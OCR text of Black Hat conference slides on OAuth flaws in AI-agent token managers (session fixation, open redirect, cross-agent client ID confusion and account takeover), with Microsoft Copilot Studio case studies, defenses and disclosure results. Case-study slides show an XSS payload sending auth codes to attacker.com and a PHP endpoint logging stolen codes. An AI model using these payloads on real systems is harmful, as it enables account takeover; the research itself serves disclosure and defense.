(€ 0’
OAuth completed by a user

OAuth completed by a user ”
-— P ey

Verify: the user that initiates OAuth

Connection-based OAuth

Arcade updated their MCP Proposal

== the user that completes OAuth after our responsible disclosure

! & elicitation.mdx > Security Considerations > URL Mode Security > Phishing
https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887/files?short path=f2
70d4 3#diff-f270d43e0167b99f433086ab9fd986ae08905b57751401badeb6217b1ae2eeb3

26



https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887/files?short_path=f270d43
https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887/files?short_path=f270d43
https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887/files?short_path=f270d43
https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887/files?short_path=f270d43

blackhat On intricacies of Session Fixation Defense
Heterogeneous Channels for Publishing Agents

Microsoft

Copilot Studio ' .

Share a preview Microsoft channels OAuthTester c @ oRuiTadtsr

Business ¢ hat
view pruine
13 * Teams and
uwg Demo website -~ E’ SharePoint 4:07 AM
Ve /Y Microsoft 365 Copilot

Other channels Hello! To be able to help you,

I'll need you to sign in.
a Web app ':5 Native app [0 Facebook J To continue, please login

Login

0 G Hello! To be able to help you, I'll need you to sign O 1
p ®  Slack a Telegram @ Twilio ~ i

. Uy
To continue, please login 0 & ¢ . Aa g |b

8 co B i e

4 minutes ago Q W E RITJY U | O P

[I]J Type your message B A'S D F G H J K L

Regular channels: Web app, Native app

Instant Messaging (IM) app channels: +RZ)X|ClVIBINIM
4

amwg in Website mgfsceenbge?-k

Slack, Telegram, Facebook Messenger,
Discord, ... N\

27



blackhat g mtncames of Sessmn leatlen Defense
Post-Redirect pattern is NOT universally applicable

Tool

Token Manager

: : e s
Backend m )
. Connection

Components
(Servers) ~  User



blgc’:k hat

SricFNes O intricacies of Sessmn leatlen Defense
Post-Redirect pattern is NOT universally appllcable

Tool

So far, we assumed that
the Browser is the only User-agent Aoent Token Manager
used to contact each Backend entity ... Sl r—

Reality:
o Tool 4 | ] = —g
Backend m

o Token Manager ¥4 Components
o Platform 4/ Agent, (Servers)

Connection

CeC
Frontend

Components
(User-agents)

28



blgt’:k hat

SricFNes O intricacies of Sessmn leatlen Defense
Post-Redirect pattern is NOT universally appllcable

Tool

So far, we assumed that
the Browser is the only User-agent Token Manager

. Agent
used to contact each Backend entity ... g —
. i i‘:‘ g &
Reality: ) A\
o Tool ¥4 | | A\
o Token Manager 4 o ot m Connection
user_id
o Platform &/ Agent’ (Servers) n ~_ User
____________ €§>' () S S
Channel .-~ ; . user .,
"""" ., session .,
Frontendc C o Q
Components

(User-agents)

28
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blgc’zk hat

SricFNes O intricacies of Sessmn Fixation Defense
Post-Redirect pattern is NOT universally appllcable

Tool
So far, we assumed that
the Browser is the only User-agent Token Manager
. Agent ~ \
used to contact each Backend entity ...
Reality: h
o Tool 4 |ml
o Token Manager 4 o ot Connection
user_id
o Platform &4/ Agent’ (Servers) " User
———————————— @-@— T e -Post-Redirect el
Channel .-~ ; . user .,
““““ ., Session **.,] G 6
Frontende C 0 Q
Components

(User-agents)  Redirect to IM app is easy (via deeplink).

* Redirect to in-app Agent is hard !

28
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laC s On intricacies of Session Fixation Defense
Solution: Learn from Cross-device OAuth Flows

Instant Messaging (IM) app Channels Cross-Device OAuth Flows
Constrained User-agent with Constrained Device with
limited callback capabilities limited input capabilities

OAUTH SRR
a b)
~ Post-redirect ’
X

« Solution#1: Directly use Cross-device Flows [ Limited Adoption! ]
e.g., OAuth Device Authorization Grant
Client Initiated Backchannel Authentication (CIBA)

« Solution#2: Retrofitting Auth Session Transfer to Authorization Code Grant

e.g., User manually passes PIN code for user identity check

29
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blackhat g, jntricacies of Session Fixation Defense
Example: Copilot Studio / Azure Al Bot Service

\ Y 4 Messenger
@& token.botframework.com

Done

Please enter this validation code into the chat
window to complete the sign-in:

Regular Channels: (e.g., web app)
o Support post-redirect pattern (auto-verify session binding)

Others Channels: (e.g., in Instant Messaging apps)

302040

Copy

o Manually enter PIN codes to bridge the session gap Copy/Paste PIN
o Agent needs to provide an interface ¢ @) oAuthTester

Business c hat
view proine

o Token Manager verifies the PIN

Hello! To be able to help you,
I'll need you to sign in.

Complementary (Weaker) Defense:
o Extra Consent Screen at Token Manager's /callback

Long-term Goal ("Unphishable™): .o
o Equip each IM app channel with callback capabilities

To continue, please login

Login

> | 302040 o >

30



BRIEFINGS

blackhat Attack Type 2 - Opén\Redirec.t

Tool
Connection = <tool, agent, user>

Token Manager
Agent :

)

Expectation (End-user's Perspective):

WA

o My authorization for an agent should not go to another user
served by the same agent.

Reality:

e Open Redirect
31
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blackhat Attack Type 2 - OpénRedirecf

BRIEFINGS

Tool
Connection = <tool, agent, user>

Token Manager
Agent :

Connection @

User

QLI®)

Expectation (End-user's Perspective):

o My authorization for an agent should not go to another user
served by the same agent. @ website.com

Real |ty %redlrect =attacker.com % (2 Visit website

o NeHEIHIH Open Redirect Attacker Vlctlm
31

(3) Visit attacker.com
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black hat

BRIEFINGS

SN
Open Redlrect Attack

When Session Fixation Defense ( oes Wrong

OAuth Client @ Authorization Server

¢ = 3

Browser Agent Backend Token Manager Tool

(D Start OAuth

>

(2) /authorize

(2) /authorize S huto]

Authorize

Redirect | ® /callback

32
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blackhat  Qnen Redlrect Attack
When Session Fixation Defense Goes Wrong

OAuth Client @ Authorization Server

oaumh D ¢
© = 3

-

Browser Agent Backend Token Manager Tool

(D Start OAuth

post-redirect=/post_callback

>

(2) /authorize

(2) /authorize

> (Auto-)
Authorize

Redirect | ® /callback

Post-
Redirect >

32
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blackhat  Qnen Redlrect Attack
When Session Fixation Defense Goes Wrong

OAuth Client @ Authorization Server

 Attacker initiates OAuth, e o ©
pointing post-redirect to an {é} . "Q

attacker-controlled location Atf%%lv(seé'rs g;gmesr Agent Backend Token Manager Tool

(D Start OAuth

post-redirect=/post_callback

>

(2) /authorize

/authori
(2) /authorize S huto]

Authorize

Redirect. | ® /callback

Post-
Redirect >

32
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blackhat  Qnen Redlrect Attack
When Session Fixation Defense Goes Wrong

OAuth Client @ Authorization Server

 Attacker initiates OAuth, e o ©
pointing post-redirect to an "Q
attacker-controlled location Attacker's Mletim's Agent Backend  Token Manager Tool

(D Start OAuth

post-redirect=/post_callback -> /attackeri

(2 /authorize

(2) /authorize S| (Auto)

Authorize

Redirect. | ® /callback

Post-
Redirect >

32
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blackhat  Qnen Redlrect Attack
When Session Fixation Defense Goes Wrong

OAuth Client @ Authorization Server

 Attacker initiates OAuth, e o ©
pointing post-redirect to an {é} . "Q
attacker-controlled location Attacker's Mletim's Agent Backend  Token Manager Tool

o Attacker sends the OAuth
authorization link to victim

(D Start OAuth
post-redirect=/post_callback -> /attackeri

(2 /authorize

Send to Victim /authori
@ I (2 /authorize s (Auto]
Authorize

Redirect. | ® /callback

Post-
Redirect >

32
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blackhat  Qnen Redlrect Attack |
When Session Fixation Defense Goes Wrong

OAuth Client @ Authorization Server

 Attacker initiates OAuth, e o ©
pointing post-redirect to an {é} . "Q

attacker-controlled location Atf%%lv(seé'rs g;gmesr Agent Backend Token Manager Tool

o Attacker sends the OAuth
authorization link to victim

* Victim (unknowingly)
completes OAuth, leaking
auth credentials to attacker

(D Start OAuth
post-redirect=/post_callback -> /attackeri

(2 /authorize

Send to Victim Jauthori
@ I (2 /authorize s (Auto]

Authorize

Redirect. | ® /callback

Post-
Redirect >

32



O T8

blackhat  Qnen Redlrect Attack
When Session Fixation Defense Goes Wrong

OAuth Client @ Authorization Server

 Attacker initiates OAuth, e o ©
pointing post-redirect to an {é} "Q
attacker-controlled location Attacker's Mletim's Agent Backend  Token Manager Tool

o Attacker sends the OAuth
authorization link to victim

* Victim (unknowingly)
completes OAuth, leaking
auth credentials to attacker

(D Start OAuth
post-redirect=/post_callback -> /attackeri

(2 /authorize

Send to Victim Jauthori
@ I (2 /authorize s (Auto]

Authorize

= Lead to account takeover
of the victim's tool !

Redirect. | ® /callback

Pos i:' /attacker?code=code
Redirect >

32



bifdkhat Case Study Open Redlrects 1y Mlcrosoft

BRIEFINGS
2 Vulnerable Instances

I. Open Redirect + XSS Il. Open Redirect + postMessage()

* Severity: Critical * Severity: Important

* Security Impact: Spoofing

I
I
I
I
i D
I Azure
I o
Microsoft : Logic Apps
Power Automate/Apps !
I
I
Pla t;ornlw( /A gent | Platform / Agent
_ acken I - Backend
Post | Post
Redirect ! Redirect
I .
2code—cod. > I /2.41028.1.6/Html/authredirectv2.html >
reode=code : ?code=code -
ideas.powerapps.com/d365community/idea/<UUID> i ema.hosting.portal.azure.net/ema/Content
?code=code 0 /2.30410.1.3/Html/authredirectv2.html
I 5 - >
I code=code
I
attacker- XSS Payload: <img src=x onerror="var i=new Image(); | \¢/Y | Vulnerable Cross-window Communication:
controlled i.src="https://attacker.com?url="+encodeURIComponent attatckflr-d var oauthValue = JSON.stringify(urlParams);
location (document.URL);"> : f;%r;,:izne window.opener.postMessage(oauthValue,"*");
I
I
I
I
I

* Security Impact: Elevation of Privilege
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blackhat Case Study Open Redlrects 1y Mlcrosoft

BRIEFINGS

Open Redlrect + XSS Sample Impact

oo ) € -

Power Automate/Apps Steal Outlook Emails




blackhat Qpen Redirect: Defense |

BRIEFINGS

OAuth Authorization
‘.‘ Client oaur« B Server

Browser Agent Backend Token Manager Tool
(D Start OAuth r
post-redirect=/post_callb>ack [AddConnection I
>/attacker post-redirect=/attacker

(2) /authorize?redirect_uri=/callback

Authorize
Redirect 3| 3 /callback?code=code N
Pos i:' /post_callback?code=code
Redirect >

/attacker?code=code

35



blgc’zk hat

Defense

Compare post-redirect URL at
Token Manager w/ exact string
matching (no wildcard !), or

A

ckhat  Qpen Redirect: Defense

OAuth Authorization
) Client oaumx Server > 2 3
C %
Browser Agent Backend Token Manager Tool
(D Start OAuth r
> | IAddC i
post-redirect=/post_callback / onnection
>/attacker post-redirect=/attacker
(2) /authorize?redirect_uri=/callback
> Authorize
Redirect 3| 3 /callback?code=code

- agent.com/post_callback
- agent.com/attacker x

> 4<

Pos i:' /post_callback?code=code .
Redirect > :

>
Mateh-pattern-agent-com/*
-> Exact String match

/attacker?code=code

35
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BRIEFINGS

blackhat Open Redirect: Defense |

OAuth Authorization
) Client oaumx Server
Defense
« Compare post-redirect URL at Browser Agent Backend Token Manager Tool
Toker;’ Manager \IA(;/ engt string @) Start OAuth N r
matching (no wildcard !), or :
g ( ), 0 post-redirect=/post_callback [AddConnection

-> /attacker :
post-redirect=/attacker

(2) /authorize?redirect_uri=/callback

> Authorize
Redirect 3| 3 /callback?code=code
>
>
Pos i:' /post_callback?code=code
Redirect >

/attacker?code=code

35
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blackhat Open Redirect: Defense |

BRIEFINGS

OAuth Authorization
€ Client oaum Server
Defense
« Compare post-redirect URL at Browser Agent Backend Token Manager Tool
Token Manager w/ exact string @) Start OAuth
matching (no wildcard !), or > | | /addconnection

« Do not expose (user-controllable)
post-redirect URL to frontend

(2) /authorize?redirect_uri=/callback

> Authorize
Redirect 3| 3 /callback?code=code S
%
Pos i:' /post_callback?code=code
Redirect >

/attacker?code=code

35
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BRIEFINGS

blackhat Open Redirect: Defense |

OAuth
® Client oaur« B Server
Defense c

Compare post-redirect URL at Browser Agent Backend

Token Manager w/ exact string
matching (no wildcard !), or

Do not expose (user-controllable)
post-redirect URL to frontend

Reflection

. . =P Redirect
redirect _uri is the source of open

redirect attacks in traditional OAuth.

"Post-redirect pattern™ (Session
Fixation defense) opens up new Post-
open redirect possibility! =———) podirect

(@ Start OAuth

(2) /authorize?redirect_uri=/callback

Authorization

Token Manager

[AddConnection

Tool

Authorize

(3) /callback?code=code

> 4<

/post_callback?code;code

/attacker?code=code

35




blgc’zk hat

BRIEFINGS

Connection = <tool, agent, user>

Token Manager
Agent :

==
@

Expectation (End-user's Perspective): Reality:

o My authorization for one agent Confused Deputy
should not go to another agent.

Connection @

User

36



O

blackhat Confused Deputy: A tale of two attacks

BRIEFINGS

Tool

Token Manager/ @
Connection

Expectation (End-user's Perspective): Reality:

o My authorization for one agent
should not go to another agent.

o My authorization at one tool Cross-agent
should not go to another tool. @RI Confused Deputy

Connection = <tool, agent, user>

Agent

3

User

o)
Q

@ LEET-L0 18 Confused Deputy

36
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BRIEFINGS

blackhat Confused Deputy: Background .~ y

OAuth Registration

« OAuth Client pre-register at Authorization Server

« Client ID: unique identifier of an OAuth client,
Issued by authorization server

OAuth Authorization

Client M Server ::
@

Agent Backend Tool

?
O O
{l/ } RegIStratlo <c|ient_id=client, client_secret="**> I

/authorize?client_id=client &. ..

. Authorlze
(via Browser)

Traditional OAuth: Each Client ID used only in one agent

37
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blackhat Confused Deputy: Background

BRIEFINGS

OAuth Registration Common Design for OAuth-as-a-Service

« Provides pre-built integrations for popular tools
(e.g., Dropbox, Outlook, GitHub)

« Handles OAuth (pre-)registration as well, with
client_id & client_secret baked in

« OAuth Client pre-register at Authorization Server

« Client ID: unique identifier of an OAuth client,
Issued by authorization server

OAuth Authorization
Cllent Server

= Offers out-of-the-box tool support for custom agents

> © ¢

OAuth

Authorization
Client CAUTH Server <@ <

%
Agent Backend Tool

o
{l/ } RegIStratlo J <client_id=client, client_secret=""*> I

**

Token Manager Tool
OAUTH
Registration < <client_id=client, client_secret=""*>

?

?

L]

/authorize?client_id=client &...

OAuth

tj'
O OAut

OAuth-as-a-Service: Each Client ID shared by multiple agents

> Authorlze

o]

(via Browser)

/authorize?client_id=client &. ..

Authorize

ol o
(via Browser) /authorize?client_id=client &...

Authorize
(via Browser) N

i

Traditional OAuth: Each Client ID used only in one agent
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blackhat Confused Deputy Attack & Defense

Attack Type 3 - Cross-agent Client ID Confusion

OAuth
Client ©AVTH

Authorization

Server "
QO

Token Manager Tool

OAUTH
Registration <<cI|ent id=client, client_secret=""">

Attack:

* End-user consents at a pre-built tool for one agent
* Access granted w/o consent to an attacker-controlled agent
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blackhat Confused Deputy Attack & Defense

Attack Type 3 - Cross-agent Client ID Confusion

OAuth
Client ©AVTH

Authorization
Server

Token Manager

OAUTH
Registration < <client_id=client, client_secret=""">

?

o o /authorize?client_id=client &... Explicitly
= OAuth > | Authorize
C=2) —] < ——

Attack:

* End-user consents at a pre-built tool for one agent
* Access granted w/o consent to an attacker-controlled agent
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biackhat Confused Deputy: Attack & Defense

Attack Type 3 - Cross-agent Client ID Confusio

OAuth
Client CAVUTH

Authorization
Server

Token Manager

OAUTH

Registration] <<c|ient_id=client, client_secret=""">
?

o O OAuth /authorize?client_id=client &... Explicitly

> | Authorize ’
( P_ ¥y,

/authorize?client_id=client &... > Auto-Authorize

p w/ prior consent

OAut

;§<
L

<€

Attack:

* End-user consents at a pre-built tool for one agent
* Access granted w/o consent to an attacker-controlled agent
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Placemes Confused Deputy: Attack & Defense _

Attack Type 3 - Cross-agent Client ID Confusion

Authorization
Server :z

Token Manager Tool

Authorization
Server

Token Manager

OAUTH

Registration] <<c|ient_id=client, client_secret=""">
?

o -
o O OAuth /authorize?client_id=client &...

> | Authorize ’
onur] - &
:] /authorize?client_id=client &... > Auto-Authorize

OAuth ’ w/ prior consent

?
S Registratiorﬂ <<client_id= , client_secret="**>

/authorize?client_id= &...
{:v.} OAUthJ I L= > | Authorize

Explicitly

Registratiorﬂ < <client_id=agen2, client_secret=""">

OAuth /authorize?client_id=ageni2 &... > | Authorize
u
Defense:

* Only use shared client_id in 15*-party platforms or agents

;& (

<€

Attack:

* End-user consents at a pre-built tool for one agent
* Access granted w/o consent to an attacker-controlled agent * Otherwise, Always BYO (Bring Your Own client_id)!

o Register per-agent, not per-Token Manager client _id
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blackhat  Confused Deputy Background
Cross-app/tool OAuth Account Takeover (COAT)

Integration Platform Tools Integration Platform Tools
(a.k.a. integrated apps (a.k.a. integrated apps
/integrations) - /integrations)

2

OAuth Client

attacker.com/authorize Idropbox_com/authorize

/callback?code=code

= Security
A boundary
ut,
Mlcrosoftu 4 Coae
Power Automate

attacker.com/token I
with code

« Attacker: infiltrates via malicious tool BHUSA "24 & USENIX Security "25

* Assumption: platform w/ open marketplace * Real-world exploit against Multiple
integrated apps / integrations in a platform

* e.g., Steal Outlook emails / Azure secrets w/o
explicit consent (CVE-2023-36019, CVSS: 9.6)

[BHUSA '24] Kaixuan Luo et al. One Hack to Rule Them All: Pervasive Account [USENIX Security '25] Kaixuan Luo et al. Universal Cross-app Attacks: Exploiting and
Takeovers in Integration Platforms for Workflow Automation, Virtual Voice Securing OAuth 2.0 in Integration Platforms. https://www.usenix.org/conference/

Assistant, 10T, & LLM Services. https://www.youtube.com/watch?v=gqrHEBElig3c 39 usenixsecurity25/presentation/luo-kaixuan

* Target: a benign tool in the platform
= Impact: victim's tokens leaked to attacker



https://www.usenix.org/conference/usenixsecurity25/presentation/luo-kaixuan
https://www.usenix.org/conference/usenixsecurity25/presentation/luo-kaixuan
https://www.usenix.org/conference/usenixsecurity25/presentation/luo-kaixuan
https://www.usenix.org/conference/usenixsecurity25/presentation/luo-kaixuan
https://www.youtube.com/watch?v=qrHEBElig3c

n \ 6 Vulnerable Instances ',

Dl ees  Confused Deputy: Attack oot

Attack Type 4 - Cross-agent COAT | [ coze Mnango

[BHUSA "24] Cross-app/tool OAuth -, [INEW] Cross-agent COAT
Account Takeover (COAT) in Connection-based OAuth
Integration Platform Tools Agent  Token Manager Tools

auth code
Microsoft —— Ode

Power Automate

* Attacker: infiltrates via malicious tool * Attacker: infiltrates via malicious agent,

* Assumption: platform w/ open marketplace can register malicious tools by design
* Target: a benign tool in the same platform * Target: anytoolinany agent
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blackhat Case Study: Confused Deputy in CopllotStudlo
Attack Type 4 - Cross-agent COAT

Agent Token Manager Identity Providers
(Copilot) (Bot Framework

Token Service) :

‘ Hello! To be able to help you, I'll need you to

sign in.

Attacker's Copilot

=. Sign in with Microsoft

Hello! To be able to help you, I'll need you to sign in.

- - Copilot Studio supports OAuth
‘ for authenticating users at ldentity Providers
ol as well as authorizing users' tool access
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blackhat Case Study: Confused Deputy in Cﬁopllot Studlo
Attack Type 4 - Cross-agent COAT

Supported account types

=7 Microsoft Who can use this application or access this API?

(Eﬁi‘ Accounts in this organizational directory only (Student only - Single tenant)

Pick an account

Accounts in any organizational directory (Any Microsoft Entra ID tenant - Multitenant)

Selected user account does not exist in tenant
'‘Student' and cannot access the application
'51518a51-caf5-44a6-af66-22b2e362636d' in that
tenant. The account needs to be added as an

external user in the tenant first. Please use a

‘ Hello! To be able to help you, I'llneedyouto  § | different account.
sign in.

BLOCKED

kevinluo
Izl kevinluo@helpcopilot.onmicrosoft.com
To continue, please login Signed in

Attacker cannot login to Victim's Copilot,
Since it's configured with
Single-tenant (Victim's tenant) in Entra ID

5 minutes ago

Type your message B>
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blackhat Case Study: Confused Deputy in Copilot Studio
Attack Tpe 4 - Cross-agent COAT

Attacker's Copilot

@ Authenticate manually

Set up authentication for any channel

() Require users to sign in
Redirect URL

https://token.botframework.com/.auth/web/re: l[_] Copy

Service provider *

@ Vaults i SFTP /authorize +

Generic OAuth 2 v
<?php
Client ID * header ("Location: https://login.microsoftonline.com/2447d103-f777-47f3-2a88-d00fl0ced4bca/oauth2/v2.0/authorize?client_id=51518a51-caf5-44a6-af
66-22b2e362636d&response_type=code&scope=profile+openid+offline_access&redirect_uri=https%3a%2f%2ftoken.botframework.com%2f.auth%2fweb%2fredir
123456 S % . ect&state=".$_GET['state'])
fill in arbitrarily - .

Client secret * -

Scope list delimiter *
Vaults @& SFTP ken +
default ttacker's d : ® Vaults i /toke
dttacker s aomain
<?php
Authorization URL template * $arr = array('access_token' => 'foobar', 'token_type' => 'Bearer', 'expires_in' => 36000000)

echo json_encode($arr)

file_put_contents('authorization_code.txt', file_get_contents('php://input'))
2

https://ms.minetest.land/oauth_copilot/authorization.php

Authorization URL query string template *

?client_id={Clientld}&response_type=code&redirect_uri={RedirectUrl}&scopez

Token URL template * /

https://ms.minetest.land/oauth_copilot/token.php

copes}&state={State}

Attacker configures their own Copilot,
preparing malicious, endpoints for the attack

code={Code}&grant_type=authorization_code&redirect_uri={RedirectUrl}&client_id={Clientld}&client_secret={ClientSecret}

Token URL query string template * attacker's doma | N

?

Token body template *
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blackhat Case Study: Confused Deputy in Cﬁopllot Studlo
Attack Type 4 - Cross-agent COAT

Attacker's Copilot

Chance to win $10,000! inbox

iy X
Hello! To be able to help you, I'll need you to sign in. Text to display: ‘here ] i
ome ¥
) ) Link to: To what URL should this link go?
To continue, please login @ Web address https://token.botframework.com/api/oauth/signin?signin:88caO392I CI|Ck here to Win $1 0,000|
I Login I O Email address Test this link
Not sure what to put in the box? First, find the page on the web that you want ‘

to link to. (A search eng ine might be useful .) Then, copy the web address fro m
Type your message the box in your browser's address bar, and paste it into the box above.
2 > < Reply ~> Forward ®
ance

Attacker embeds OAuth URL of Attacker's Copilot Victim gets tricked to make a click

for social engineering
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blackhat Case Study: Confused Deputy in Copllot Studlo 7
Attack Type 4 - Cross-agent COAT

/token

Victim's auth code for Victim's Copilot leaked to Attacker
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blackhat Case Study: Confused Deputy in Clopllot Studlo 7
Attack Type 2 — Cross-agent COAT

/token

Victim's auth code for Victim's Copilot leaked to Attacker

302 RESPONSE -

STATUS: \ 302 ] \ Found ]

HEADERS

’ Location H https://token.botframework.com/auth/web/redirect?code=0.AbOAA9FHJHf38( ’.

‘\ Head H Header valu ]
~ Attacker redeems the stolen auth code for a token @
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blackhat Case Study: Confused Deputy in Clppllot Studlo
Attack Type 2 — Cross-agent COAT

© Vaults @& SFTP /token A ' 10 O
. -’

Hello! To be able to help you,

sign in.

To continue, please login

Victim's auth code for Victim's Copilot leaked to Attacker =l

Hello, I'm Victim’s Copilot, a virtual assistant.

Just so you are aware, | sometimes use Al to

answer your questions. If you provided a
302 R E S PO N S E A website dfjrling creation, try asking me about it!

Next try giving me some more knowledge by
setting up generative Al.

STATUS: | 302 || Found ]

’ Type your message =
HEADERS - g

’ Location H https://token.botframework.com/auth/web/redirect?code=0.AbOAA9FHJHf38( ’.

Attacker logged in

‘., Header name H Header value ’ to VICtIm S Copllot
Attacker redeems the stolen auth code for a token under Victim’s identity
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blackhat Case Study: Confused Deputy in Copllot Studlo
Attack Type 4 - Cross-agent COAT

* Severity: Important

With 1-click on a hyperlink: * Security Impact: Spoofing
« Cross-agent Cross-tool Account Takeover
(-Copilot) (-tenant)

Once authenticated as the victim:

« Attacker can enjoy access to all data in Victim's Copilot, guarded by

Copilot Studio's OAuth:
o Identity, impersonation of the victim
o Delegated Permissions, assigned via victim’'s Entra ID
o Knowledge Sources, configured to ground victim’'s agent
o Actions & Tools, powered by Power Platform Connectors & Bot Framework skills
o ...and more
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Pl emas Confused Deputy: Defense ‘
Attack Type 4 - Cross-agent COAT

[BHUSA "24] Cross-app/tool OAuth - [INEW] Cross-agent COAT
Account Takeover (COAT) in Connection-based OAuth

Integration Platform Agent  Token Manager

Defense:

 Differentiate each tool with * Differentiate each agent
distinct redirect_uri * Within an agent, differentiate each tool

* match tool ID at /callback —> Globally-unique redirect_uri for each tool
 match tool ID at /callback
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blackhat Symmary: Atfac\:ks/ih Co\ﬁ\ne\c‘:tion-b/ased OA{dth

BRIEFINGS

Connection = <user, agent, tool>
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BRIEFINGS

blackhat Suymmary: At\tac\:k‘s/ih Con\ne\c‘:tion-quased OI(@Ith

Tool
Connection = <user, agent, tool>

Token Manager ",
Agent

.//
& W
G0

@)X A Session Fixation

Open Redirect

Improper Fix
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blackhat Summary: Attacks in Connection-based OAuth

BRIEFINGS

Connection = <user, agent, tool>

@©NELTEC018 Confused Deputy
* C(Client ID Confusion

Agent

@)X A Session Fixation

Open Redirect

Improper Fix
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blackhat  Summary: At\tac\:k\s/ih Connection-based /l.(uth/

Tool

Token Manager/ @

Connection = <user, agent, tool>

Confused Deputy

Agent

e (lient ID Confusion

@ @ LRI [ A @ IR o] B Confused Deputy

* Cross-agent COAT

Session Fixation (Cross-app/tool OAuth

Account Takeover)
Open Redirect

Improper Fix
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blackhat Summary: Attaq:ks in Connegtion-based l-(uth‘

Tool

Token Manager/ @

Connection = <user, agent, tool>

Confused Deputy

Agent

e (lient ID Confusion

O A e Lo LEa el Confused Deputy

* Cross-agent COAT

Session Fixation (Cross-app/tool OAuth

Account Takeover)
Open Redirect
"Back to the Future":

@EIII TR KT 14RO L NT14, R i 19 F 1L remanifest themselves in Connection-based OAuth Architectures

Improper Fix
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BRIEFINGS

blackhat Suymmary: At‘tac\:k\s/ih Connection-based l-(utl;

Tool

Token Manager/ @

Connection = <user, agent, tool>

Confused Deputy

Agent

e (lient ID Confusion

@ @ LRI [ A @ IR o] B Confused Deputy

* Cross-agent COAT

Session Fixation (Cross-app/tool OAuth

Account Takeover)
Open Redirect
"Back to the Future":

@EIII TR KT 14RO L NT14, R i 19 F 1L remanifest themselves in Connection-based OAuth Architectures

Improper Fix

Security Impact: Tool Account Takeovers w/o explicit consent
48




blackhat Symmary: Atfac\:ks/ih Co\ﬁ\ne\c‘:tion-b/ased OA{dth

BRIEFINGS

Connection = <user, agent, tool>
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BRIEFINGS

blackhat Suymmary: At‘tac\:k\s/ih Connection-based l-(utl;

Connection = <user, agent, tool>

Token Manager

Agent

P Post-Redirect

~, user ., X

~, session .,

~ a0

Channel _

@)L TS Session Fixation

The various channels for publishing agents complicates Session Fixation Defense
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BRIEFINGS

Vendor

Real-world Impact:
Make the world a better place

Cross-user

Session Fixation

2

Open Redirect

Cross-agent

Confused Deputy

Cross-tool
(w/ Cross-agent Impact)

B Client ID Confusion u Cross-agent COAT

Credential Manager

Vuln, now Fixed

=" Microsoft <

(e.g., Power Automate, Secure”® Secure Vuln, now Fixed
Azure Logic Apps) (w/ XSS, postMessage)
Bot Framework
(Azlfekf\ﬂ?o?rgfﬁice Secure Secure Secure Vuln, now Fixed
Copilot Studio)
Popular Tool-calling
Engine (#1 Trending Vuln N/A Vuln Vuln
Repo for a day)
A Vuln, now Fixed N/A Vuln, now Fixed ?
Vuln, now Fixed N/A ? Vuln, now Fixed
Top Agentic Al Toolset ..
(w/ 25K #Stars) Vulin, Fixing N/A Vuin Vuin
fYnango Vuln N/A Secure Vuln

« Discovered 16 Vulnerable Instances; Followed Responsible Disclosure common practices

* In-depth Discussions/Meetings w/ Microsoft, Arcade, & ByteDance Coze's Security Team

» Appreciate vendors' coordination & responsible fixes !

* Published Security Advisory in 2018:
https://github.com/Azure/azure-tokens/blob/master/docs/phisﬁ_’lgg-attack-vuInerability.md



https://github.com/Azure/azure-tokens/blob/master/docs/phishing-attack-vulnerability.md
https://github.com/Azure/azure-tokens/blob/master/docs/phishing-attack-vulnerability.md
https://github.com/Azure/azure-tokens/blob/master/docs/phishing-attack-vulnerability.md
https://github.com/Azure/azure-tokens/blob/master/docs/phishing-attack-vulnerability.md
https://github.com/Azure/azure-tokens/blob/master/docs/phishing-attack-vulnerability.md
https://github.com/Azure/azure-tokens/blob/master/docs/phishing-attack-vulnerability.md
https://github.com/Azure/azure-tokens/blob/master/docs/phishing-attack-vulnerability.md

2R
blgc’:khat Taxonomy of Attacks \

BRIEFINGS
# Vendors

# Vulnerable Instances
3 New Attack Scenarios 4 Types of

"Back to the Future" Attacks - Defense
B B Session Fixation Enforce user initiates OAuth
== user completes OAuth

_ | Arcade g coze --- (e.g., Post-Redirect Pattern

A malicious user of a benign agent FYnango & Composio Vot s Wsiel vierieailion)

targeting a benign user di Strict] "

of the same agent — n QPR el TG riety verty
post-redirect URL

Microsoft Azure 9
Power Apps Logic Apps | ® & -
Integration =

A malicious agent es Confused
Platforms targeting a benign agent\ Arcade B
COAT (Cross-tool OAuth

Deputy
- / Account Takeover) — (per_Agent per-TOOI)
n ‘ redirect URL
Tool Account Takeover A malicious tool Microsoft =@ ces
targeting a benign tool Copilot Studio

- [} coze fynango

Classic Web Attacks which had been carefully addressed by OAuth standards
have now remanifested due to the emerging, proprietary, yet-increasingly popular

Globally Unique

Security Impact

OAuth-as-a-Service Architectures in Agentic Al and Integration Platforms !




BRIEFINGS

blackhat Key Ta keaways \

OAuth-as-a-Service: Convenience with Hidden Risks

 OAuth-as-a-Service makes Al Agent development easier, but it could reintroduce
classic vulnerabilities when the proprietary "OAuth connection" comes into play.

* You may trust your agent, but the behind-the-scenes Token Manager might be a
third-party you don't recognize, and potentially vulnerable.

 Agents may unknowingly expose users to impersonation & unauthorized access.

Action Required
 Agent Developers: Review your OAuth stack. Are you relying on an insecure architecture?

* OAuth-as-a-Service Providers: Fix the problems ASAP !
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blackhat Referenc e s 2 A :

« RFC9700 - OAuth Security Best Current Practice:
« Session Fixation in Cross-device Scenario:

« Security Analysis of Brokered Single Sign-On:
T. Innocenti, L. Jannett, C. Mainka, V. Mladenov and E. Kirda, "'Only as Strong as the Weakest Link": On

the Security of Brokered Single Sign-On on the Web," in 2025 IEEE Symposium on Security and Privacy
(SP), San Francisco, CA, USA, 2025, pp. 24-24, doi: 10.1109/SP61157.2025.00024.

« Cross-window Communication Attack in Single Sign-On:
Louis Jannett, Vladislav Mladenov, Christian Mainka, and Jorg Schwenk. 2022. DISTINCT: Identity Theft
using In-Browser Communications in Dual-Window Single Sign-On. In Proceedings of the 2022 ACM

SIGSAC Conference on Computer and Communications Security (CCS '22). Association for Computing
Machinery, New York, NY, USA, 1553—-1567. https://doi.org/10.1145/3548606.3560692
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[USENIX Security '25] Kaixuan Luo, Xianbo Wang, Pui Ho Adonis Fung, Wing Cheong Lau, and Julien
Lecomte. "Universal Cross-app Attacks: Exploiting and Securing OAuth 2.0 in Integration Platforms." 34th
USENIX Security Symposium (USENIX Security 25), 2025.

[IETF Draft] Tim Wurtele, Pedram Hosseyni, Kaixuan Luo, and Adonis Fung. "Updates to OAuth 2.0
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